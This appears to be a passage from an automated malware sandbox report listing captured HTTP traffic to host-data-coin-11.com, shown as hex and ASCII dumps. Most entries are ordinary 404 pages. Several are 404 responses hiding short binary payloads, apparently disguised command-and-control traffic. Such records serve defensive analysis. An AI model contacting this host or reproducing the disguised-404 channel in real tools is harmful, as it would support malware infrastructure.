6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 13 Jan 2022 19:51:03 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 13 Jan 2022 19:51:03 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 13 Jan 2022 19:51:04 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 13 Jan 2022 19:51:04 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 48 e5 af 8d 70 bc 57 dd 40 d6 f6 2e 84 2a e8 c3 90 53 2e ef a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OR&:UPJ%9HpW@.*S.c0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 13 Jan 2022 19:51:10 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 13 Jan 2022 19:51:10 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 66 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 80 49 08 25 01 e5 e9 8d b0 a2 37 0d 0a 30 0d 0a 0d 0a Data Ascii: 1fI:82OI%70
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 13 Jan 2022 19:51:11 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 30 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 93 54 06 65 01 f6 a3 9e fc b9 19 eb 1b db 76 f8 67 5d a4 09 d7 cd 66 c7 64 50 06 b9 0d 0a 30 0d 0a 0d 0a Data Ascii: 30I:82OTevg]fdP0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 13 Jan 2022 19:51:12 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 13 Jan 2022 19:51:13 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 46 e8 ae 88 70 bc 57 dd 43 df f9 21 87 26 ec c3 91 50 23 e4 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OR&:UPJ%9FpWC!&P#c0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 13 Jan 2022 19:51:17 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 13 Jan 2022 19:51:17 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 39 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c0 d7 10 55 3a 40 a9 fe c2 aa b9 01 ac 52 cc 77 f8 01 11 91 1d f4 0d 0a 30 0d 0a 0d 0a Data Ascii: 29I:82OU:@Rw0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 13 Jan 2022 19:51:22 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 13 Jan 2022 19:51:22 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 13 Jan 2022 19:51:22 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 39 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c0 d7 10 55 3a 40 a9 fe c2 aa b9 01 ac 52 cc 77 f8 05 11 91 1d f4 0d 0a 30 0d 0a 0d 0a Data Ascii: 29I:82OU:@Rw0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 13 Jan 2022 19:51:24 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 13 Jan 2022 19:51:25 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 30 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 93 54 06 65 01 f6 a3 9e fc b9 19 eb 1b db 76 f8 62 6e b8 57 df ef 66 b1 64 50 06 b9 0d 0a 30 0d 0a 0d 0a Data Ascii: 30I:82OTevbnWfdP0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 13 Jan 2022 19:51:25 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 